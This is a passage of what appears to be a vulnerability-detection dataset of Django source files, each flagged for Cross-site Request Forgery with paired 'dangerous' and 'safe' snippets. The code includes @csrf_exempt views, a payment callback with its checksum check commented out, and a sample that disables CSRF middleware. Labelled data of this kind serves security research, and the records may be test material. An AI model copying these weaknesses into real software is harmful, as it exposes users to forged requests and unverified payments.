gov_bodies,\n \"country_dict\": country_dict,\n \"organisation_name\": case.get(\"organisation\", {}).get(\"name\") or \"Secretary of State\",\n \"contact_country\": \"GB\",\n \"submission\": {\"type\": {\"id\": 4}},\n \"tra_team_names\": [\n settings.ORGANISATION_NAME,\n settings.ORGANISATION_INITIALISM + \" Team 1\",\n settings.ORGANISATION_INITIALISM + \" Team 2\",\n settings.ORGANISATION_INITIALISM + \" Team 3\",\n ],\n }\n context.update(enums)\n # context['countries'] = countries[0]\n return context\n\n def get(self, request, case_id=None, *args, **kwargs):\n client = self.client(request.user)\n context = self.get_context(client, case_id)\n return render(request, self.template_name, context)\n\n def post(self, request, case_id=None, *args, **kwargs):\n post_data = {\n \"id\": case_id,\n }\n non_required_fields = [\n \"submission_status_id\",\n \"case_name\",\n \"organisation_name\",\n \"organisation_id\",\n # 'organisation_address', 'organisation_post_code', 'companies_house_id',\n # 'contact_name', 'contact_email', 'contact_phone', 'contact_address',\n # 'contact_country',\n ]\n\n error_lookup = {\n \"case_type_id\": \"Case type\",\n \"product_name\": \"Product name\",\n \"submission_type_id\": \"Submission type\",\n \"sector_id\": \"Product sector\",\n \"product_description\": \"Product description\",\n \"export_country_code\": \"Export country\",\n \"hs_code\": \"Product code\",\n }\n required_fields = list(error_lookup.keys())\n list_fields = [\"export_country_code\", \"hs_code\"]\n case_fields = required_fields + non_required_fields\n errors = {}\n client = self.client(request.user)\n if request.POST.get(\"case_type_id\") in ALL_REGION_ALLOWED_TYPE_IDS:\n required_fields.remove(\"export_country_code\")\n for field in case_fields:\n post_data[field] = (\n compact_list(request.POST.getlist(field))\n if field in list_fields\n else request.POST.get(field)\n )\n for field in required_fields:\n if field in error_lookup and not post_data.get(field):\n fieldname = error_lookup.get(field)\n errors[field] = f\"{fieldname} is required\"\n for i, code in enumerate(post_data.get(\"hs_code\")):\n if len(str(code)) not in (6, 7, 8, 9, 10): # temporary validation\n errors[\"hs_code\"] = \"HS codes should be between 6 and 10 digits\"\n if not errors:\n post_data[\"ex_oficio\"] = True\n result = client.submit_full_case_data(post_data)\n return redirect(\"/cases/\")\n else:\n context = self.get_context(client, case_id)\n context[\"errors\"] = errors\n context.update(post_data)\n return render(request, self.template_name, context)\n\n\nclass InviteContactView(CaseBaseView):\n \"\"\"\n Invite a contact to the case\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/invite.html\"\n raise_exception = True\n\n def get_organisation_admin_user_contact(self, organisation_id):\n contact = None\n organisation = self._client.get_organisation(organisation_id)\n admin_user = [\n user\n for user in organisation.get(\"users\", [])\n if user.get(\"security_group\") == SECURITY_GROUP_ORGANISATION_OWNER\n ]\n if admin_user:\n user = self._client.get_user(admin_user[0][\"user_id\"])\n contact = user.get(\"contact\")\n contact[\"organisation\"] = organisation\n return contact\n\n def add_page_data(self):\n contact = None\n organisation = None\n if self.kwargs.get(\"organisation_id\"):\n organisation = self._client.get_organisation(self.kwargs.get(\"organisation_id\"))\n if self.kwargs.get(\"contact_id\"):\n contact = self._client.get_contact(self.kwargs[\"contact_id\"])\n form_url = f\"/case/{self.case['id']}/invite/{self.kwargs['contact_id']}/as/{self.kwargs['case_role_id']}/\" # noqa: E501\n if organisation:\n form_url = f\"{form_url}for/{organisation['id']}/\"\n elif self.kwargs.get(\"organisation_id\"):\n contact = self.get_organisation_admin_user_contact(self.kwargs[\"organisation_id\"])\n form_url = f\"/case/{self.case['id']}/invite/organisation/{self.kwargs['organisation_id']}/as/{self.kwargs['case_role_id']}/\" # noqa: E501\n if not organisation:\n organisation = contact[\"organisation\"]\n notification_template = self._client.get_notification_template(\n \"NOTIFY_INFORM_INTERESTED_PARTIES\"\n )\n\n deep_update(\n self.case,\n self._client.get_case(\n self.case_id,\n fields=json.dumps(\n {\n \"Case\": {\n \"latest_notice_of_initiation_url\": 0,\n \"registration_deadline\": 0,\n \"product\": 0,\n }\n }\n ),\n ),\n )\n case_number = self.case[\"reference\"]\n email = notify_contact_email(self._client, case_number)\n footer = notify_footer(self._client, email)\n values = {\n \"full_name\": contact[\"name\"],\n \"product\": get(self.case, \"product/name\"),\n \"case_number\": case_number,\n \"case_name\": self.case[\"name\"],\n \"notice_of_initiation_url\": self.case.get(\"latest_notice_of_initiation_url\"),\n \"company_name\": organisation[\"name\"],\n \"deadline\": parse_api_datetime(\n get(self.case, \"registration_deadline\"), settings.FRIENDLY_DATE_FORMAT\n ),\n \"footer\": footer,\n \"guidance_url\": self._client.get_system_parameters(\"LINK_HELP_BOX_GUIDANCE\")[\"value\"],\n \"email\": email,\n \"login_url\": f\"{settings.PUBLIC_BASE_URL}\",\n }\n context = {\n \"form_url\": form_url,\n \"editable_fields\": [\"full_name\", \"product\"],\n \"case\": self.case,\n \"contact\": contact,\n \"case_role_id\": self.kwargs[\"case_role_id\"],\n \"parsed_template\": parse_notify_template(notification_template[\"body\"], values),\n \"values\": values,\n \"organisation\": organisation,\n \"organisation_id\": self.kwargs.get(\"organisation_id\"),\n }\n return context\n\n def post(\n self,\n request,\n contact_id=None,\n case_id=None,\n case_role_id=None,\n organisation_id=None,\n *args,\n **kwargs,\n ):\n notify_keys = [\"full_name\", \"product\"]\n notify_data = {key: request.POST.get(key) for key in notify_keys}\n if organisation_id and contact_id:\n notify_data[\"organisation_id\"] = organisation_id\n elif organisation_id and not contact_id:\n contact = self.get_organisation_admin_user_contact(organisation_id)\n contact_id = contact[\"id\"]\n response = self._client.invite_contact(case_id, contact_id, case_role_id, notify_data)\n return HttpResponse(json.dumps(response), content_type=\"application/json\")\n\n\nclass IssueFilesFormView(CaseBaseView):\n \"\"\"\n Issue files to case\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"widgets/issue_files_form.html\"\n\n def add_page_data(self):\n case_enums = self._client.get_all_case_enums()\n return {\n \"case_enums\": case_enums,\n \"case\": self.case,\n }\n\n\nclass CaseBundlesView(CaseBaseView):\n \"\"\"\n Assign documents to the case directly (not via submissions)\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/case_bundles.html\"\n\n def add_page_data(self):\n list_mode = self.request.GET.get(\"tab\", \"live\")\n tabs = {\n \"value\": list_mode,\n \"tabList\": [\n {\"label\": \"Live\", \"value\": \"live\", \"sr_text\": \"Show live bundles\"},\n {\"label\": \"Draft\", \"value\": \"draft\", \"sr_text\": \"Show draft bundles\"},\n ],\n }\n case_bundles = self._client.get_case_submission_bundles(\n case_id=self.case[\"id\"],\n status=list_mode.upper(),\n )\n return {\n \"bundles\": case_bundles,\n \"error\": self.kwargs.get(\"error\"),\n \"tabs\": tabs,\n \"status\": list_mode,\n }\n\n\n@method_decorator(csrf_exempt, name=\"dispatch\")\nclass CaseBundleView(CaseBaseView):\n \"\"\"\n View and edit a specific bundle full of documents\n\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/case_bundle_builder.html\"\n\n def add_page_data(self):\n case_enums = self._client.get_all_case_enums()\n bundle = None\n bundle_id = self.kwargs.get(\"bundle_id\")\n virus = self.request.GET.get(\"virus\")\n upload_error = self.request.GET.get(\"upload_error\")\n return_data = {\n \"virus\": virus,\n \"upload_error\": upload_error,\n }\n if bundle_id:\n bundle = self._client.get_case_submission_bundles(\n case_id=self.case[\"id\"], bundle_id=self.kwargs.get(\"bundle_id\")\n )\n return_data.update(\n {\n \"bundle\": bundle,\n \"submission_types\": case_enums[\"submission_types\"],\n }\n )\n return return_data\n\n def post(self, request, case_id, bundle_id=None, *args, **kwargs): # noqa: C901\n name = request.POST.get(\"name\")\n data = pluck(request.POST, [\"name\", \"description\"])\n btn_value = request.POST.get(\"btn-value\")\n if btn_value == \"send\":\n data[\"status\"] = \"LIVE\"\n # Upload documents\n if bundle_id:\n meta_raw = request.POST.getlist(\"meta\")\n meta = [json.loads(block) for block in meta_raw]\n file_details = deep_index_items_by(meta, \"name\")\n for _file in request.FILES.getlist(\"files\"):\n try:\n _file.readline() # Important, will raise VirusFoundInFileException if infected\n original_file_name = _file.original_name\n details = file_details.get(original_file_name.lower())[0]\n confidential = details.get(\"confidential\")\n document_type = details.get(\"submission_document_type\")\n document = self._client.upload_document(\n case_id=str(case_id),\n data={\n \"bundle_id\": bundle_id,\n \"confidential\": confidential,\n \"submission_document_type\": document_type,\n \"document_name\": original_file_name,\n \"file_name\": _file.name,\n \"file_size\": _file.file_size,\n },\n )\n except (VirusFoundInFileException, APIException) as e:\n redirect_url = f\"/case/{case_id}/bundle/{bundle_id}/?\"\n msg = \"File upload aborted: \"\n if isinstance(e, VirusFoundInFileException):\n redirect_url += \"virus=true\"\n else:\n msg += f\"{e}\"\n redirect_url += f\"upload_error={msg}\"\n logger.warning(f\"{msg}\")\n return HttpResponse(\n json.dumps({\"redirect_url\": redirect_url}),\n content_type=\"application/json\",\n )\n\n # Attach existing documents to this bundle\n if case_files := request.POST.getlist(\"case_files\"):\n file_details_by_id = deep_index_items_by(meta, \"file/id\")\n for case_file_id in case_files:\n details = (file_details_by_id.get(case_file_id) or [])[0]\n document = self._client.attach_document(\n case_id=str(case_id),\n data={\n \"bundle_id\": bundle_id,\n \"submission_document_type\": details.get(\"submission_document_type\"),\n },\n document_id=case_file_id,\n )\n else:\n data = pluck(request.POST, [\"name\", \"submission_type_id\"])\n data[\"case_id\"] = case_id\n # Anything else to send?\n response = None\n if data:\n response = self._client.set_case_submission_bundle(bundle_id=bundle_id, data=data)\n ret = {\"result\": \"ok\", \"status\": data.get(\"status\")}\n response_id = response and response.get(\"id\")\n if response_id:\n ret[\"redirect_url\"] = f\"/case/{case_id}/bundle/{response_id}/\"\n return HttpResponse(json.dumps(ret), content_type=\"application/json\")\n\n def delete(self, request, case_id, document_id, *args, **kwargs):\n response = self._client.delete_case_submission_bundle(case_id, document_id)\n return redirect(f\"/case/{case_id}/documents/\")\n\n\nclass SubmissionInviteNotifyView(CaseBaseView):\n \"\"\"\n Notify an invitee about an invitation to case.\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n raise_exception = True\n template_name = \"cases/invite.html\"\n\n def add_page_data(self):\n \"\"\"Add page data.\n\n CaseBaseView override.\n \"\"\"\n case_id = self.kwargs.get(\"case_id\")\n submission_id = self.kwargs.get(\"submission_id\")\n contact_id = self.kwargs.get(\"contact_id\")\n case = self._client.get_case(case_id)\n submission = self._client.get_submission(case_id, submission_id)\n inviting_organisation = submission[\"organisation\"]\n invited_contact = self._client.get_contact(contact_id)\n inviting_contact = submission.get(\"contact\") or {}\n notification_template = self._client.get_notification_template(\"NOTIFY_THIRD_PARTY_INVITE\")\n form_url = f\"/case/{case_id}/submission/{submission_id}/invite/{contact_id}/notify/\"\n\n # Attempt to infer the invite URL\n login_url = f\"{settings.PUBLIC_BASE_URL}\"\n invites = self._client.get_invitations(case_id, submission_id)\n for i in invites:\n if i[\"contact\"][\"id\"] == str(contact_id):\n invite = self._client.get_invite_details(i[\"id\"])\n code = invite.get(\"code\")\n login_url = f\"{login_url}/invitation/{code}/{case_id}/\"\n break\n case_number = case[\"reference\"]\n email = notify_contact_email(self._client, case_number)\n footer = notify_footer(self._client, email)\n values = {\n \"full_name\": invited_contact[\"name\"],\n \"case_name\": case[\"name\"],\n \"invited_by_organisation\": inviting_organisation[\"name\"],\n \"invited_by_name\": inviting_contact[\"name\"],\n \"notice_of_initiation_url\": self.case.get(\"latest_notice_of_initiation_url\"),\n \"login_url\": login_url,\n \"deadline\": parse_api_datetime(\n get(self.case, \"registration_deadline\"), settings.FRIENDLY_DATE_FORMAT\n ),\n \"footer\": footer,\n \"email\": email,\n }\n\n context = {\n \"form_url\": form_url,\n \"notification_template\": notification_template,\n \"submission\": submission,\n \"case\": case,\n \"contact\": invited_contact,\n \"parsed_template\": parse_notify_template(notification_template[\"body\"], values),\n \"values\": values,\n }\n return context\n\n def post(self, request, case_id, submission_id, contact_id, *args, **kwargs):\n notify_data = {\n \"case_id\": case_id,\n \"submission_id\": submission_id,\n \"contact_id\": contact_id,\n }\n response = self._client.action_third_party_invite(\n case_id=case_id,\n submission_id=submission_id,\n contact_id=contact_id,\n params=notify_data,\n )\n return HttpResponse(json.dumps(response), content_type=\"application/json\")\n\n\nclass UpdateParentView(CaseBaseView):\n template_name = \"cases/update_parent.html\"\n\n linked_case_confirm_key = \"LINKED_CASE_CONFIRM\"\n cases_fields = json.dumps(\n {\n \"Case\": {\n \"name\": 0,\n \"id\": 0,\n \"reference\": 0,\n }\n }\n )\n\n case_fields = json.dumps(\n {\"Case\": {\"parent\": {\"id\": 0}, \"workflow_state\": {linked_case_confirm_key: 0}}}\n )\n\n def add_page_data(self):\n cases = self._client.get_cases(archived=True, all_cases=False, fields=self.cases_fields)\n case = self._client.get_case(self.case_id, fields=self.case_fields)\n return {\"case\": case, \"cases\": cases}\n\n def post(self, request, case_id, *args, **kwargs):\n link_confirm = request.POST.get(\"link_confirm\")\n parent_id = request.POST.get(\"parent_id\")\n _client = self.client(request.user)\n case = _client.get_case(case_id, fields=self.case_fields)\n if get(case, \"parent/id\") != parent_id:\n _client.set_case_data(case_id, {\"parent_id\": parent_id})\n if (get(case, f\"workflow_state/{self.linked_case_confirm_key}\") or [0])[0] != link_confirm:\n _client.set_case_workflow_state(\n case_id, values={f\"{self.linked_case_confirm_key}\": link_confirm}\n )\n return HttpResponse(\n json.dumps({\"parent_id\": parent_id, \"link_confirm\": link_confirm}),\n content_type=\"application/json\",\n )\n\n\nclass NoticesView(\n LoginRequiredMixin, GroupRequiredMixin, TemplateView, TradeRemediesAPIClientMixin\n):\n groups_required = SECURITY_GROUPS_TRA_ADMINS\n template_name = \"cases/notices.html\"\n\n def get(self, request):\n client = self.client(request.user)\n notices = client.get_notices()\n return render(\n request,\n self.template_name,\n {\n \"body_classes\": \"full-width\",\n \"notices\": notices,\n },\n )\n\n\nclass NoticeView(LoginRequiredMixin, GroupRequiredMixin, TemplateView, TradeRemediesAPIClientMixin):\n groups_required = SECURITY_GROUPS_TRA_ADMINS\n template_name = \"cases/notice.html\"\n cases_fields = json.dumps({\"Case\": {\"name\": 0, \"id\": 0, \"reference\": 0}})\n\n def get(self, request, notice_id=None):\n client = self.client(request.user)\n enums = client.get_all_case_enums()\n case_types = enums.get(\"case_types\", [])\n cases = client.get_cases(archived=True, all_cases=False, fields=self.cases_fields)\n notice = {}\n if notice_id:\n notice = client.get_notice(notice_id)\n return render(\n request,\n self.template_name,\n {\n \"body_classes\": \"full-width\",\n \"notice\": notice,\n \"cases\": cases,\n \"case_types\": case_types,\n },\n )\n\n def post(self, request, notice_id=None):\n client = self.client(request.user)\n notice = client.create_update_notice(\n name=request.POST.get(\"name\"),\n reference=request.POST.get(\"reference\"),\n terminated_at=request.POST.get(\"terminated_at\"),\n published_at=request.POST.get(\"published_at\"),\n case_type=request.POST.get(\"case_type_id\"),\n review_case=request.POST.get(\"review_case_id\"),\n notice_id=notice_id,\n )\n return redirect(\"/cases/notices/\")\n\n\nclass DocumentSearchView(CaseBaseView):\n template_name = \"documents/documents.html\"\n\n def add_page_data(self):\n query = self.request.GET.get(\"query\")\n conf_status = self.request.GET.get(\"confidential_status\")\n user_type = self.request.GET.get(\"user_type\")\n response = self._client.search_documents(\n case_id=self.case_id,\n query=query,\n confidential_status=conf_status,\n user_type=user_type,\n )\n return {\n \"body_classes\": \"full-width\",\n \"documents\": response.pop(\"results\", []),\n \"query\": query,\n \"conf_status\": conf_status,\n **response,\n }\n\n\nclass CaseTeamJsonView(LoginRequiredMixin, View, TradeRemediesAPIClientMixin):\n def get(self, request, case_id, **kwargs):\n team = self.client(request.user).get_case_team_members(case_id)\n return HttpResponse(json.dumps(team), content_type=\"application/json\")", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 2497, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "13a5d51c3e4092cf8bf6419b1167f293400bed2611c895955bdef2d1dfd843eb", "license": {"spdx": ["MIT"], "repo": "Ayushman-Singh/ecommerce", "path": "shop/views.py", "repo_head_hexsha": "78f007fea89ead412d10554e69b9f4854f67d277", "stack_hexsha": "291160bd0c346287015511cf9e4797089cf45195", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 252, "entireCode": "from shop.forms import UserForm\nfrom django.views import generic\nfrom django.urls import reverse_lazy\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import auth\nfrom .models import Product, Contact, Category, Product, Order, OrderItem\nfrom django.contrib import messages\nfrom django.views.decorators.csrf import ensure_csrf_cookie\nfrom math import ceil\nimport json\nfrom shop.models import User\nfrom django.views.decorators.csrf import csrf_exempt\n# from PayTm import checksum\n# Create your views here.\nfrom django.http import HttpResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nMERCHANT_KEY = 'Your-Merchant-Key-Here'\n\ndef index(request, category_slug=None):\n category = None\n categories = Category.objects.all()\n products = Product.objects.filter(available=True)\n if category_slug:\n category = get_object_or_404(Category, slug=category_slug)\n\n products = products.filter(category=category)\n page = request.GET.get('page')\n paginator = Paginator(products, 6)\n try:\n products = paginator.page(page)\n\n except PageNotAnInteger:\n products = paginator.page(1)\n\n except EmptyPage:\n products = paginator.page(1)\n\n if request.user:\n print(request.user)\n pass\n # wishlist = Wishlist.objects.filter(user=request.user)\n\n return render(\n request,\n 'shop/index.html',\n {\n 'category': category,\n 'categories': categories,\n 'products': products,\n # 'wishlist': wishlist\n }\n )\n\n else:\n return render(\n request,\n 'shop/index.html',\n {\n 'category': category,\n 'categories': categories,\n 'products': products,\n }\n )\n\ndef searchMatch(query, item):\n '''return true only if query matches the item'''\n if query in item.description.lower() or query in item.name.lower():\n return True\n else:\n return False\n\n\ndef search(request):\n query = request.GET.get('search')\n allProds = []\n catprods = Product.objects.values('category', 'id')\n cats = {item['category'] for item in catprods}\n for cat in cats:\n prodtemp = Product.objects.filter(category=cat)\n prod = [item for item in prodtemp if searchMatch(query, item)]\n\n n = len(prod)\n nSlides = n // 4 + ceil((n / 4) - (n // 4))\n if len(prod) != 0:\n allProds.append([prod, range(1, nSlides), nSlides])\n params = {\n 'products': allProds,\n \"msg\": \"\"\n }\n if len(allProds) == 0 or len(query) < 4:\n params = {\n 'msg': \"Please make sure to enter relevant search query\"\n }\n return render(request, 'shop/search.html', params)\n\n\ndef about(request):\n return render(request, 'shop/about.html')\n\n\ndef contact(request):\n thank = False\n if request.method == \"POST\":\n name = request.POST.get('name', '')\n email = request.POST.get('email', '')\n phone = request.POST.get('phone', '')\n desc = request.POST.get('desc', '')\n contact = Contact(name=name, email=email, phone=phone, desc=desc)\n contact.save()\n thank = True\n return render(request, 'shop/contact.html', {'thank': thank})\n\n\ndef tracker(request):\n if request.method == \"POST\":\n orderId = request.POST.get('orderId', '')\n email = request.POST.get('email', '')\n try:\n order = Order.objects.filter(order_id=orderId, email=email)\n if len(order) > 0:\n update = OrderUpdate.objects.filter(order_id=orderId)\n updates = []\n for item in update:\n updates.append(\n {\n 'text': item.update_desc,\n 'time': item.timestamp\n }\n )\n response = json.dumps(\n {\n \"status\": \"success\",\n \"updates\": updates,\n \"itemsJson\": order[0].items_json\n },\n default=str\n )\n return HttpResponse(response)\n else:\n return HttpResponse('{\"status\":\"noitem\"}')\n except Exception as e:\n return HttpResponse('{\"status\":\"error\"}')\n\n return render(request, 'shop/tracker.html')\n\n\ndef productView(request, myid):\n # Fetch the product using the id\n product = Product.objects.filter(id=myid)\n return render(request, 'shop/prodView.html', {'product': product[0]})\n\n\ndef checkout(request):\n if request.method == \"POST\":\n items_json = request.POST.get('itemsJson', '')\n name = request.POST.get('name', '')\n amount = request.POST.get('amount', '')\n email = request.POST.get('email', '')\n address = request.POST.get('address1', '') + \\\n \" \" + request.POST.get('address2', '')\n city = request.POST.get('city', '')\n state = request.POST.get('state', '')\n zip_code = request.POST.get('zip_code', '')\n phone = request.POST.get('phone', '')\n order = Order(\n\n name=name, email=email,\n address=address,\n state=state,\n # zip_code=zip_code,\n # phone=phone,\n # amount=amount\n )\n order.save()\n order_item = OrderItem(\n order=order,\n price=amount,\n product_id=1,\n )\n order_item.save()\n thank = True\n # id = order.order_id\n return render(request, 'shop/checkout.html', {'thank':thank, 'id': order.id})\n # Request paytm to transfer the amount to your account after payment by user\n param_dict = {\n\n 'MID': 'Your-Merchant-Id-Here',\n 'ORDER_ID': str(order.order_id),\n 'TXN_AMOUNT': str(amount),\n 'CUST_ID': email,\n 'INDUSTRY_TYPE_ID': 'Retail',\n 'WEBSITE': 'WEBSTAGING',\n 'CHANNEL_ID': 'WEB',\n 'CALLBACK_URL': 'http://127.0.0.1:8000/handlerequest/',\n\n }\n # param_dict['CHECKSUMHASH'] = checksum.generate_checksum(param_dict, MERCHANT_KEY)\n # return render(request, '/paytm.html', {'param_dict': param_dict})\n\n return render(request, 'shop/checkout.html')\n\n\ndef signup(request):\n\n \n if request.method == 'POST':\n print('psot')\n form = UserForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n \n # commit=False tells Django that \"Don't send this to database yet.\n # I have more things I want to do with it.\"\n \n # import pdb;pdb.set_trace()\n if form.cleaned_data['type']=='Vendor':\n \n user.is_staff = True # Set the user object here \n user.save()\n return redirect(\"/admin/login\") \n else:\n user.is_staff = False \n user.save()\n return redirect(\"/login\") # Now you can send it to DB\n\n \n else:\n print('in valid vin vlaidpsot')\n form = UserForm()\n print(form.errors)\n return render(\n \n request,\n 'shop/signup.html',{\n 'form':form,\n 'errors':form.errors\n })\n\n\n else:\n print('hello jasfdjlasdjfs')\n form = UserForm()\n return render(\n request,\n 'shop/signup.html',{\n 'form':form\n })\n\n\n@csrf_exempt\ndef handlerequest(request):\n # paytm will send you post request here\n form = request.POST\n response_dict = {}\n for i in form.keys():\n response_dict[i] = form[i]\n if i == 'CHECKSUMHASH':\n checksum = form[i]\n\n # verify = Checksum.verify_checksum(response_dict, MERCHANT_KEY, checksum)\n # if verify:\n # if response_dict['RESPCODE'] == '01':\n # print('order successful')\n # else:\n # print('order was not successful because' + response_dict['RESPMSG'])\n return render(request, 'shop/paymentstatus.html', {'response': response_dict})\n\n\ndef vendor(request):\n user =User.objects.get(id=request.user.id)\n \n menu = {}\n \n return render(request, 'shop/restprofile.html', {'user':user})\n\n\nfrom django.views.generic.edit import UpdateView\n\n\nclass UserUpdate(UpdateView):\n model = User\n fields = ['name','email','first_name','last_name']\n template_name_suffix = '_update_form'", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 252, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "b7bd0ebdbaf219abe41a08c2355ad0babc5db9095500a2fe1d2b2a6c8d3446e7", "license": {"spdx": ["MIT"], "repo": "jeremyephron/forager", "path": "forager_server/forager_server_api/views.py", "repo_head_hexsha": "6db1590686e0e34b2e42ff5deb70f62fcee73d7d", "stack_hexsha": "f7ea6e1ab40e2fa5eea55fc79f11b658b6c35f7e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 45, "entireCode": "from collections import defaultdict, namedtuple\nfrom dataclasses import dataclass\nimport distutils.util\nimport functools\nimport itertools\nimport json\nimport math\nimport operator\nimport os\nimport random\nimport uuid\nimport shutil\nimport logging\nimport time\n\nfrom typing import List, Dict, NamedTuple, Optional\n\nfrom django.db.models import Q\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import get_object_or_404, get_list_or_404\nfrom django.conf import settings\nfrom google.cloud import storage\nfrom rest_framework.decorators import api_view\nimport requests\nfrom expiringdict import ExpiringDict\n\nfrom .models import (\n Dataset,\n DatasetItem,\n Category,\n Mode,\n User,\n Annotation,\n DNNModel,\n CategoryCount,\n)\n\n\nBUILTIN_MODES = [\"POSITIVE\", \"NEGATIVE\", \"HARD_NEGATIVE\", \"UNSURE\"]\n\nlogger = logging.getLogger(__name__)\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef start_cluster(request):\n # TODO(mihirg): Remove this setting from Django; it's now managed by Terraform\n # (or figure out how to set it from the frontend if we need that)\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/start_cluster\",\n )\n response_data = r.json()\n return JsonResponse(\n {\n \"status\": \"success\",\n \"cluster_id\": response_data[\"cluster_id\"],\n }\n )\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_cluster_status(request, cluster_id):\n params = {\"cluster_id\": cluster_id}\n r = requests.get(\n settings.EMBEDDING_SERVER_ADDRESS + \"/cluster_status\", params=params\n )\n response_data = r.json()\n return JsonResponse(response_data)\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef stop_cluster(request, cluster_id):\n params = {\"cluster_id\": cluster_id}\n requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/stop_cluster\",\n json=params,\n )\n return JsonResponse(\n {\n \"status\": \"success\",\n }\n )\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef create_model(request, dataset_name, dataset=None):\n payload = json.loads(request.body)\n model_name = payload[\"model_name\"]\n cluster_id = payload[\"cluster_id\"]\n bucket_name = payload[\"bucket\"]\n index_id = payload[\"index_id\"]\n pos_tags = parse_tag_set_from_query_v2(payload[\"pos_tags\"])\n neg_tags = parse_tag_set_from_query_v2(payload[\"neg_tags\"])\n val_pos_tags = parse_tag_set_from_query_v2(payload[\"val_pos_tags\"])\n val_neg_tags = parse_tag_set_from_query_v2(payload[\"val_neg_tags\"])\n augment_negs = bool(payload[\"augment_negs\"])\n model_kwargs = payload[\"model_kwargs\"]\n resume_model_id = payload.get(\"resume\", None)\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n eligible_images = DatasetItem.objects.filter(dataset=dataset, is_val=False)\n categories = Category.objects.filter(\n tag_sets_to_query(pos_tags, neg_tags, val_pos_tags, val_neg_tags)\n )\n annotations = Annotation.objects.filter(\n dataset_item__in=eligible_images,\n category__in=categories,\n )\n tags_by_pk = get_tags_from_annotations_v2(annotations)\n\n pos_dataset_item_pks = []\n neg_dataset_item_pks = []\n val_pos_dataset_item_pks = []\n val_neg_dataset_item_pks = []\n for pk, tags in tags_by_pk.items():\n if any(t in pos_tags for t in tags):\n pos_dataset_item_pks.append(pk)\n elif any(t in neg_tags for t in tags):\n neg_dataset_item_pks.append(pk)\n elif any(t in val_pos_tags for t in tags):\n val_pos_dataset_item_pks.append(pk)\n elif any(t in val_neg_tags for t in tags):\n val_neg_dataset_item_pks.append(pk)\n\n # Augment with randomly sampled negatives if requested\n num_extra_negs = settings.BGSPLIT_NUM_NEGS_MULTIPLIER * len(\n pos_dataset_item_pks\n ) - len(neg_dataset_item_pks)\n if augment_negs and num_extra_negs > 0:\n # Uses \"include\" and \"exclude\" category sets from request\n all_eligible_pks = filtered_images_v2(\n request,\n dataset,\n exclude_pks=(\n pos_dataset_item_pks\n + neg_dataset_item_pks\n + val_pos_dataset_item_pks\n + 